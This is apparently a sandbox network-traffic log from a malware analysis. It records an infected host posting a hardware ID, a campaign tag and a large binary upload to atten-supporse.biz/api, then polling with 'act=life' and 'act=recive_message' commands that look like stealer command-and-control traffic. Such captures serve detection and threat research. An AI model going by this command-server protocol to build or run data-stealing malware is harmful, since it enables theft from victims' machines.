2024-12-09 20:10:04 UTC	1216	OUT	Data Raw: 2d 2d 32 39 52 34 59 4d 45 41 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 38 34 46 43 37 32 36 34 31 31 33 34 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 32 39 52 34 59 4d 45 41 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 39 52 34 59 4d 45 41 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 32 39 52 34 59 4d 45 41 53 0d 0a 43 6f 6e 74 65 6e Data Ascii: --29R4YMEASContent-Disposition: form-data; name="hwid"3384FC726411342223D904AF30EFEBBC--29R4YMEASContent-Disposition: form-data; name="pid"1--29R4YMEASContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--29R4YMEASConten
2024-12-09 20:10:04 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:10:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ir8psok18hrnf01fphqs3k0ued; expires=Fri, 04-Apr-2025 13:56:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WXxv68ldfrG4DjVUmyKKmmACSZ6Ce11jMSXuVxHTTPZ4HwU0BV8YH8WKwfrlzmxx0YiSJ0FyChWIIAeCM2RWXvqT9yA%2Btay7u%2B9g5lTsT4DXmvjFK9OgWi%2BG5vscaBVOswWKR7E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a2f1886c0cc8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1631&min_rtt=1521&rtt_var=649&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=2126&delivery_rate=1919789&cwnd=225&unsent_bytes=0&cid=2e148d55c241b1d6&ts=791&x=0"
2024-12-09 20:10:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 20:10:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	50041	104.21.48.1	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:10:06 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=L2FES8VDYL8VRTM4J User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 559720 Host: atten-supporse.biz
2024-12-09 20:10:06 UTC	15331	OUT	Data Raw: 2d 2d 4c 32 46 45 53 38 56 44 59 4c 38 56 52 54 4d 34 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 38 34 46 43 37 32 36 34 31 31 33 34 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4c 32 46 45 53 38 56 44 59 4c 38 56 52 54 4d 34 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4c 32 46 45 53 38 56 44 59 4c 38 56 52 54 4d 34 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --L2FES8VDYL8VRTM4JContent-Disposition: form-data; name="hwid"3384FC726411342223D904AF30EFEBBC--L2FES8VDYL8VRTM4JContent-Disposition: form-data; name="pid"1--L2FES8VDYL8VRTM4JContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-12-09 20:10:06 UTC	15331	OUT	Data Raw: 53 d7 a6 8f b8 22 1a be 09 27 ea 6f 67 cd e0 67 22 43 12 7d 51 dd d7 6f 12 53 82 41 60 f7 b7 46 6b 75 16 a9 ef 81 6b b8 71 ad b1 c2 9a 62 af 74 fc 95 4e 2b 74 89 ce 77 9a fa f4 a2 8a cc eb 1d 04 4f cb d1 ba c4 d6 1d 63 41 8f 2a df a2 21 94 28 99 5e 5e 99 f4 d0 ce 66 ec 45 5c 25 61 1d 9a 7d b1 69 65 03 23 55 15 b4 8e 26 e0 5c 55 ad 55 3e e7 6d 86 16 e5 46 b4 d4 ad e7 4b 82 4f 92 32 13 91 8f 3d f1 b7 77 59 2b de 67 ab 4a 79 b5 ff 72 ce 11 60 e1 78 b8 e9 c9 ce 3a b9 b0 74 b7 a9 42 4d 7b 5f c4 e1 da 0f 0f 9d d0 71 3e 0a ef 0f 5a a6 c6 44 46 c7 82 1d 1b 26 ba 66 a7 ad 52 83 fc 42 d3 f5 b7 b2 b6 db a4 c2 08 84 e5 10 55 8c 80 eb 33 ad b6 d6 4d 15 18 39 d9 e1 aa 26 e2 78 3c 09 f0 63 e0 d8 d9 86 ff 4c 24 76 89 8f 8f 94 de a4 6b d4 d3 8c 54 8f a3 92 f3 7e 69 3c b0 Data Ascii: S"'ogg"C}QoSA`FkukqbtN+twOcA*!(^^fE\%a}ie#U&\UU>mFKO2=wY+gJyr`x:tBM{_q>ZDF&fRBU3M9&x<cL$vkT~i<
2024-12-09 20:10:06 UTC	15331	OUT	Data Raw: 52 f4 25 47 48 0b 6e f9 0b 29 b9 49 30 01 10 da 7a fc 9e 3d 3e 46 ce 3a 17 ec 7f 68 47 57 61 5c 6d f7 9a 19 2e 73 37 51 6e e9 d2 7e 4a ec 51 6c b4 eb fe 6d 60 79 c1 3f cd 77 f5 c9 13 df 7a 60 f7 ac ae 2d 1b 3a 2c 7e 20 5e 41 4b 2d 86 89 67 cd c6 9a 0a e1 f8 22 03 4e 40 93 0c 6b d5 70 62 e2 a2 5f 6f 0a 1f 60 5f 10 db fa b1 a1 69 f7 17 1c cd c1 c0 45 47 5e 17 6f 65 46 87 45 0f 1d e9 b7 f3 1c 55 1f 14 d1 19 20 70 cd 36 f9 d2 cf 8f 35 c8 a3 6f 7f 4e f5 2f 5d b2 b2 9b 3b 54 c2 44 f8 b7 ea 4d 94 78 a4 07 bd eb e7 7c 8f 1e 88 3e 3c 89 f5 1d e2 36 86 e3 90 2b 31 87 47 bf 4a b1 cf b9 c1 01 73 08 d8 92 b3 55 3c d8 b3 40 6b ae e4 1d 06 cc b6 81 07 d5 e5 f5 75 44 5e 52 bb 6b 4f c9 48 cf 47 5f 87 12 e7 c2 f2 eb 23 72 ac ad 7f dd 65 36 c6 b7 fc 4d 5f 5b 41 c3 b4 2a f6 Data Ascii: R%GHn)I0z=>F:hGWa\m.s7Qn~JQlm`y?wz`-:,~ ^AK-g"N@kpb_o`_iEG^oeFEU p65oN/];TDMx\|><6+1GJsU<@kuD^RkOHG_#re6M_[A*
2024-12-09 20:10:06 UTC	15331	OUT	Data Raw: f6 76 dd 66 9f e4 1c c2 f8 3f 54 5f e3 22 99 09 8a 20 e1 a4 27 31 38 56 54 09 df 8a 6f 7c 88 82 2b 63 31 b6 d2 81 d2 e8 d7 8a dd d5 ac b8 52 77 24 53 2e 41 31 c1 ce 1e 84 f6 9b ec ff 8c 64 be c2 d2 57 ec e9 42 7c 0a 02 b9 79 44 5d b4 48 e7 1b 6f 4e 4a 59 90 08 d4 b4 59 92 54 c7 03 86 8d fe ae 3f d4 a8 0a 63 3c 7f 7b 5b 36 ff ac 91 e2 37 0e 80 2b 2f d4 a4 23 95 87 69 a7 0c b5 11 66 d2 9a 84 68 6f 75 86 d9 3e f3 89 68 45 a3 97 2d 3b db 93 55 07 c2 37 0c 53 96 8b 38 d0 41 29 16 35 92 3c a3 71 04 26 72 f8 ef d2 6f a1 a6 12 71 dc 39 90 bd 20 b8 49 db 75 94 93 a2 dd ac 37 5a 36 9e c4 c0 f8 97 d5 da 97 43 da c3 bc 6f 61 5d 5f 7d b6 31 13 c2 1a 65 94 42 39 4a 05 ca b2 71 e5 61 df 64 1f 2e 1d e1 65 17 64 69 5e bb b5 71 51 02 48 8f 51 4a 85 64 ad 12 fa 6f 5e b0 51 Data Ascii: vf?T_" '18VTo\|+c1Rw$S.A1dWB\|yD]HoNJYYT?c<{[67+/#ifhou>hE-;U7S8A)5<q&roq9 Iu7Z6Coa]_}1eB9Jqad.edi^qQHQJdo^Q
2024-12-09 20:10:06 UTC	15331	OUT	Data Raw: 4d fd 59 7f 39 79 e9 6b 5c 7f df 17 da c5 33 76 f4 aa 97 e6 58 18 4e 0f 16 fd c3 f3 30 84 77 2c f9 4f 66 1b 94 01 b0 63 23 b3 1f a9 4e ea 57 5c cb 79 83 ef 3e db 9d 65 41 b5 42 fc be c5 45 d3 8e 03 72 d7 35 40 a3 01 98 f9 88 1a 75 85 e0 c7 51 41 29 bd 5f 23 03 f3 bc 42 29 15 09 e1 49 11 1c ab 24 69 ef d7 f6 38 e6 54 d5 fc 40 ee a9 2b eb f2 8e 0a 1f 09 e3 01 3e 43 c9 e9 2c 97 43 37 ad 45 7f a9 3c 97 13 3f 93 b5 90 2f f3 39 47 ea ff b5 b8 43 34 1b 23 ea 2b 08 94 22 c2 fe 37 db 31 80 31 c4 3a fc 8e 33 b8 3a e9 0f c2 7e 74 46 49 c0 28 f8 f3 14 b3 da 46 ba 0c 0b 1a ee 19 1d 16 e8 57 02 ee 5a 48 2b 11 64 98 3a ad 2b 4f a7 6c f0 6d 40 fd ac 19 c9 b1 6e b5 ab 1b 03 50 4d 7f ba 39 e0 b3 62 ab df 9d 38 bf e1 bc ab ec ef 3d 03 cd 20 31 da 46 7f 33 a1 7f 5c 91 3a fd Data Ascii: MY9yk\3vXN0w,Ofc#NW\y>eABEr5@uQA)_#B)I$i8T@+>C,C7E<?/9GC4#+"711:3:~tFI(FWZH+d:+Olm@nPM9b8= 1F3\:
2024-12-09 20:10:06 UTC	15331	OUT	Data Raw: c0 98 33 35 48 08 29 00 da 1a e1 44 12 88 09 c8 af 00 c3 8c 11 47 32 36 61 83 8f ea 07 df fc 95 d0 39 25 06 52 f4 ba 74 80 08 43 08 cc 69 5d 95 a3 a8 2d 5f fd 84 91 a9 5e 78 9c 30 ec a8 c5 49 c4 85 04 3a 71 f7 2f 15 68 1c 64 d3 25 48 f2 af be 70 09 73 65 39 5e 09 a5 51 97 22 e2 af 0d 07 09 96 8f df 39 a9 16 9b 65 3d 36 df 74 14 4c b8 40 17 c6 5e 93 af ad d9 ed 14 00 b6 ff 2b 96 cf 0b fc 78 a0 44 2e a0 bd 43 f2 3a e8 56 c1 ce 88 02 e3 37 c8 82 73 fb 21 b8 71 50 02 d0 a8 1d ad 47 fb 42 fb 1e c3 c5 b6 d6 e3 a4 3f ca c4 67 93 59 16 84 fa 90 12 86 22 66 eb 35 ba 2c f4 e2 ed 2f cc f2 94 02 ae 8e 83 21 7b f4 47 d2 fe 56 9d 8d 8d c9 1f f8 13 92 ca 9b 2d 40 c4 ac 07 2f 73 1e 97 e0 d1 14 ca ec 09 22 60 e3 11 04 15 44 e6 48 be f9 00 a0 be dc 81 f3 dd ea d1 2e 40 10 Data Ascii: 35H)DG26a9%RtCi]-_^x0I:q/hd%Hpse9^Q"9e=6tL@^+xD.C:V7s!qPGB?gY"f5,/!{GV-@/s"`DH.@
2024-12-09 20:10:06 UTC	15331	OUT	Data Raw: a4 ce 8f e6 fe ab 88 e4 0b 72 5c bb 64 4c fd 27 01 65 cc 41 ab ed dc 7e 36 7d fb 6b 55 54 7c 94 10 4f 43 61 d7 94 a3 b6 ed db 3c 4a 3a 3e 63 b8 e3 8c fb bd 78 ef 70 db 9f 08 6c bc ee f5 ae 72 0d e9 af 6f dc bf 00 4e 21 95 b3 57 00 a8 54 3e 3e e3 4f d9 b7 39 6a c6 63 0a 11 00 6a 1f 9d e0 3d 7d 67 f7 1f 97 a7 d7 4f 7e 4b 13 d9 d2 1c fe 71 76 d1 40 0e d0 fa c3 e3 6d 0e 81 6c cc 7f 7b 2f 5a 24 01 63 70 90 dc 77 f4 09 ad 14 1d 46 3a f2 65 91 7c 76 7d b0 aa e6 21 0c 3f c1 fd d2 7b 17 66 36 7c 48 a4 43 00 b6 65 61 65 b7 a3 b0 7e f7 82 f1 3e 5c fc 21 dc 14 0a d3 5a b9 28 f2 5c 0f cc e9 c3 5d fe ef 75 c8 ff fe c9 2f 3c 05 5b ca db 3d 57 98 e9 d4 d1 92 19 9c ef 2c 68 62 e7 51 54 ba 39 2f 40 46 bb 34 38 c4 5f ff 1d 55 70 9d 4c fb 09 d8 8c 31 ab 58 8d e6 3f 5a db 27 Data Ascii: r\dL'eA~6}kUT\|OCa<J:>cxplroN!WT>>O9jcj=}gO~Kqv@ml{/Z$cpwF:e\|v}!?{f6\|HCeae~>\!Z(\]u/<[=W,hbQT9/@F48_UpL1X?Z'
2024-12-09 20:10:06 UTC	15331	OUT	Data Raw: ea de 42 16 98 45 27 6e fd 39 08 09 21 63 35 58 1d 68 26 73 d4 c4 df 02 01 9a bc 70 60 e2 32 fe 32 1f a5 57 c1 e0 87 46 ed 30 ad 53 a5 c6 70 c4 ae 14 88 e0 87 66 08 9b 5e c2 3e a6 23 21 9c 17 6a 3f 48 39 1a de cb b1 6b 2d bc 4d 9a dd 72 94 b1 a5 db 08 e0 d3 c8 9b 5f a7 5b 9c 68 15 bc 57 3a 59 e2 4c cf 83 c4 01 ec 2f ba 78 a1 72 7a 7c 74 36 bb 90 b5 6c d6 fc ab 10 5f 5a 3c d5 08 27 3a c3 1f fd de a0 98 bd 03 d3 da 1d cd 1c 90 5c e6 1b b7 0e b8 d9 70 49 43 44 f8 65 3c 3f b9 fb 9b 9b 08 e0 d8 e1 4f 5e cb 20 27 01 35 1b 51 74 90 00 37 4f 45 3a 77 d8 7c 15 6d e5 33 3e b4 de 3d 1f e7 88 e9 29 0f 49 a7 98 fc 3f fb e3 8c b0 19 b4 f4 83 44 eb 98 4d 91 02 92 6f 89 f2 88 12 c0 5b e4 58 c7 f9 dd 4f 34 46 56 a1 17 0d ae e6 09 08 95 f3 56 cd 87 2f 27 9b 6b bc 56 2b fe Data Ascii: BE'n9!c5Xh&sp`22WF0Spf^>#!j?H9k-Mr_[hW:YL/xrz\|t6l_Z<':\pICDe<?O^ '5Qt7OE:w\|m3>=)I?DMo[XO4FVV/'kV+
2024-12-09 20:10:06 UTC	15331	OUT	Data Raw: 59 63 6b 39 0f c3 37 41 3a 8f d4 a0 e0 c9 cd 2f e2 52 fe a9 07 23 3f 98 c4 fb 0a ec f6 f2 86 5a eb 28 79 46 cd bf 5c dd da 49 4c 49 00 55 b0 fd de 22 60 98 0a 9c 4d 5c ad 36 31 c7 6a 9d de b7 ad 09 8a 70 04 6f 2b b5 f0 50 ed 8a 78 8d f8 fc 89 74 7b e0 b0 05 ff 9c 2a 0a c2 df a5 a6 1a 1c 1e ce b8 cd 38 19 9a 3d 3b 62 2c 66 eb a6 64 03 1c da 1a 30 06 3e 54 ae c5 cd 59 cb 58 42 ac 45 fe 65 64 e8 69 61 ce ce e5 03 da e7 9e 7a 23 17 1b 97 13 a7 fe 7b 48 4a 80 93 d7 4e f6 08 7b 23 88 16 6f 19 47 1d d2 a9 43 71 66 99 0c fb 54 7b fb ec 16 f6 51 90 77 04 fd 14 41 7b a7 85 10 28 cc ff 61 3d 12 61 78 e8 a1 07 e2 d7 ff 27 a4 d7 1b 95 75 b7 cf 15 e1 8b c6 51 91 b9 80 87 e0 3e 69 4a 67 0a 0a 72 c7 5d 06 06 c8 d8 8f af b5 c5 7a 14 88 a4 94 44 b8 4a 0d f1 07 03 89 5f 5d Data Ascii: Yck97A:/R#?Z(yF\ILIU"`M\61jpo+Pxt{*8=;b,fd0>TYXBEediaz#{HJN{#oGCqfT{QwA{(a=ax'uQ>iJgr]zDJ_]
2024-12-09 20:10:06 UTC	15331	OUT	Data Raw: ac 56 4d 25 bc f0 66 a8 5d 47 f8 df 5a 01 03 2c bf 73 52 06 af 9e 49 31 49 c4 a0 20 28 02 85 98 e4 5a 85 08 4d 1e 24 54 f9 31 6c d3 7f 77 45 b0 6b dd 33 06 ec cf 7f 4f dc c5 3b 3d 94 a7 25 57 f6 23 06 5b f6 17 46 bb 7f e0 af 09 92 f8 40 cc 92 0d 6e a7 04 41 05 8f 27 e1 0b 86 31 3a 2d 50 46 5a 05 a7 1b d7 14 02 88 f9 db 4d be 98 65 c2 ef d9 e4 8b 01 f8 be b8 ed e7 10 0f 43 4c 56 64 c0 1b b0 da b1 92 8b 4b 8d a0 b7 15 cf 79 dc 9e eb fd a6 d7 85 59 65 5a dc b2 36 19 c3 4e 05 73 7a e4 48 b5 b4 96 e9 e2 df 55 02 39 07 32 cd f8 61 4e aa 30 88 20 cf cf a9 c2 51 c1 d0 9b ed a9 53 9f f6 a4 c3 58 fb 2f 31 b2 ec b9 7e c1 de 24 5b 7a d4 8e 64 cf f6 1b 83 ea fb a3 27 17 8b f7 68 f6 63 bf 29 88 9a ef e8 ca d2 5d d2 7e 22 94 77 58 00 2c 9a 06 62 15 fb db 77 e0 aa ce f6 Data Ascii: VM%f]GZ,sRI1I (ZM$T1lwEk3O;=%W#[F@nA'1:-PFZMeCLVdKyYeZ6NszHU92aN0 QSX/1~$[zd'hc)]~"wX,bw
2024-12-09 20:10:08 UTC	1025	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:10:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9ji9t8cqekv0q5jsv49kkbf46d; expires=Fri, 04-Apr-2025 13:56:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tjt%2FtRtowkshrTaCP5PQBXp3SqEVK2Gf%2B0oOwK7zRlC5hasYEzAd2qckJ3ipHpGTHxxlL2Pa7nfi8AHvMjthCT8p1tw2GL%2FpJxOomZj0%2FO7OkvQF8haHmWeqdaeD38l9shsSawk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a3010cb54231-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1622&min_rtt=1609&rtt_var=612&sent=200&recv=584&lost=0&retrans=0&sent_bytes=2847&recv_bytes=562224&delivery_rate=1814791&cwnd=127&unsent_bytes=0&cid=c38c4effb61c17f3&ts=2238&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	50065	104.21.48.1	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:10:17 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-09 20:10:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-09 20:10:17 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:10:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dr9tjqn360hdposj3in1gfsjcv; expires=Fri, 04-Apr-2025 13:56:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iuar06qAQ6ZXF2s1DgNE27s3%2Fo00d4fhbu2Fj6l2c%2FOJAbepmgUPKVF%2BzfBO5wjn%2FTnpPEwaL3ZMdj%2Bjsg3LFcAyFidkNUo%2F7OMMU%2BO6NIPGgPHfiBJqD7NvAwumIdrgy7EdlZQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a342fca00cc8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1514&min_rtt=1508&rtt_var=578&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1871794&cwnd=225&unsent_bytes=0&cid=f317f0a4b03022ac&ts=772&x=0"
2024-12-09 20:10:17 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-09 20:10:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	50074	104.21.48.1	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:10:21 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-09 20:10:21 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-09 20:10:21 UTC	1011	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:10:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jurnlcs7e8v1ms5p1f7hvqgqme; expires=Fri, 04-Apr-2025 13:57:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z4pG2MkDN5OQgBrBcNsOIPKTuYHwXTlzmejbKFdZvfifbP968jIydgMyfHrpdiGH4GFdu7Pt493lAHdLWENm4Nh4%2BChcuGTLVLrkyETBrNEQQLEgWueXhuYwvoWs7CWBah5z9pc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a35bdbe10cc8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2043&min_rtt=1968&rtt_var=888&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=955&delivery_rate=1135744&cwnd=225&unsent_bytes=0&cid=58d15e4b06922610&ts=757&x=0"
2024-12-09 20:10:21 UTC	358	IN	Data Raw: 34 39 31 63 0d 0a 31 54 4a 7a 71 44 6d 46 78 69 72 76 72 56 75 66 63 66 36 69 45 47 77 34 51 5a 68 4b 65 6e 2f 4f 73 65 49 50 33 4d 6a 65 54 38 43 75 45 41 57 4b 41 37 48 71 43 4a 7a 49 65 61 55 46 6a 4e 64 31 51 42 6f 67 2f 47 68 41 47 61 2f 64 6b 57 72 77 36 71 67 69 34 75 39 55 45 73 52 4b 34 4f 6f 49 69 74 56 35 70 53 71 46 67 48 55 43 47 6e 75 36 4c 78 41 64 72 39 32 41 62 72 65 6e 72 69 4f 6a 76 56 34 55 77 46 7a 6d 6f 6b 75 44 77 44 37 36 46 4a 2f 49 66 67 56 56 4b 66 56 6f 56 6c 32 72 79 38 41 31 2f 6f 57 37 4f 36 47 59 55 77 44 44 47 2f 6a 71 55 63 33 49 4e 62 31 4c 33 4d 4e 31 44 6c 51 6e 2f 43 45 53 46 36 62 56 67 57 75 32 75 4c 63 70 71 4c 31 51 46 38 46 57 37 37 5a 47 69 63 63 31 2f 42 36 66 67 44 78 4f 58 54 75 36 63 46 68 4f 6e 74 43 52 66 Data Ascii: 491c1TJzqDmFxirvrVufcf6iEGw4QZhKen/OseIP3MjeT8CuEAWKA7HqCJzIeaUFjNd1QBog/GhAGa/dkWrw6qgi4u9UEsRK4OoIitV5pSqFgHUCGnu6LxAdr92AbrenriOjvV4UwFzmokuDwD76FJ/IfgVVKfVoVl2ry8A1/oW7O6GYUwDDG/jqUc3INb1L3MN1DlQn/CESF6bVgWu2uLcpqL1QF8FW77ZGicc1/B6fgDxOXTu6cFhOntCRf
2024-12-09 20:10:21 UTC	1369	IN	Data Raw: 68 63 51 79 2b 41 47 58 79 58 38 44 57 69 37 77 4a 78 73 64 71 39 6d 4b 59 72 53 75 73 53 43 6b 74 31 42 52 68 42 76 67 76 41 6a 56 6a 78 72 34 41 35 76 4d 5a 45 78 67 59 2b 56 6d 41 56 32 72 33 38 41 31 2f 71 4b 35 4c 71 47 38 58 78 4c 43 55 50 57 6b 57 6f 76 43 50 4f 38 56 6d 63 35 34 44 55 67 70 39 43 34 62 46 4b 66 61 68 57 71 36 36 76 4a 74 70 61 38 51 53 59 70 36 36 71 39 45 68 39 67 35 76 51 7a 53 32 54 49 4a 56 6d 4f 69 61 42 77 63 71 4e 4b 45 59 37 43 75 73 43 75 73 75 6c 38 58 77 46 76 67 72 6b 43 46 7a 6a 54 32 48 4a 7a 46 66 77 70 63 4c 2f 73 74 57 46 50 73 31 4a 67 74 35 75 71 53 4b 71 47 6c 45 69 54 4a 56 65 6d 6a 58 73 33 51 64 2b 52 54 6d 38 77 79 56 68 6f 74 2f 79 63 4b 48 4c 37 57 6a 6e 2b 79 72 37 6f 67 6f 62 6c 51 46 4d 31 57 36 61 4a Data Ascii: hcQy+AGXyX8DWi7wJxsdq9mKYrSusSCkt1BRhBvgvAjVjxr4A5vMZExgY+VmAV2r38A1/qK5LqG8XxLCUPWkWovCPO8Vmc54DUgp9C4bFKfahWq66vJtpa8QSYp66q9Eh9g5vQzS2TIJVmOiaBwcqNKEY7CusCusul8XwFvgrkCFzjT2HJzFfwpcL/stWFPs1Jgt5uqSKqGlEiTJVemjXs3Qd+RTm8wyVhot/ycKHL7Wjn+yr7ogoblQFM1W6aJ
2024-12-09 20:10:21 UTC	1369	IN	Data Raw: 2b 52 54 6d 38 77 79 56 68 6f 75 38 69 30 64 45 71 33 5a 6a 6d 69 30 70 72 51 6a 6f 61 56 66 46 63 70 58 37 36 35 46 67 38 73 78 39 42 69 58 78 6e 49 50 55 47 4f 30 61 42 38 46 37 49 76 41 57 62 6d 6d 73 53 4c 67 67 6c 4d 66 78 46 7a 78 35 46 66 44 31 6e 6e 36 48 39 79 59 4d 67 4a 54 49 2f 45 69 48 42 32 72 33 6f 56 75 75 61 6d 78 4b 71 69 35 56 78 58 47 55 75 71 69 53 49 72 4c 50 4f 38 57 6c 63 78 2b 54 68 52 6a 2f 54 42 59 52 65 7a 38 68 33 75 39 68 62 38 38 71 2f 64 50 58 39 4d 62 34 4b 67 49 31 59 38 2b 2b 42 75 58 78 6e 6f 4f 53 43 62 30 49 78 6b 58 71 74 4b 4e 59 62 69 71 76 53 32 6b 75 31 41 57 7a 55 6e 31 6f 55 36 66 78 58 6d 7a 55 35 76 59 4d 6c 59 61 46 65 6f 2f 43 51 76 75 35 6f 4e 6a 73 4b 32 71 62 62 33 35 53 56 48 4e 56 36 66 38 43 49 62 50 Data Ascii: +RTm8wyVhou8i0dEq3Zjmi0prQjoaVfFcpX765Fg8sx9BiXxnIPUGO0aB8F7IvAWbmmsSLgglMfxFzx5FfD1nn6H9yYMgJTI/EiHB2r3oVuuamxKqi5VxXGUuqiSIrLPO8Wlcx+ThRj/TBYRez8h3u9hb88q/dPX9Mb4KgI1Y8++BuXxnoOSCb0IxkXqtKNYbiqvS2ku1AWzUn1oU6fxXmzU5vYMlYaFeo/CQvu5oNjsK2qbb35SVHNV6f8CIbP
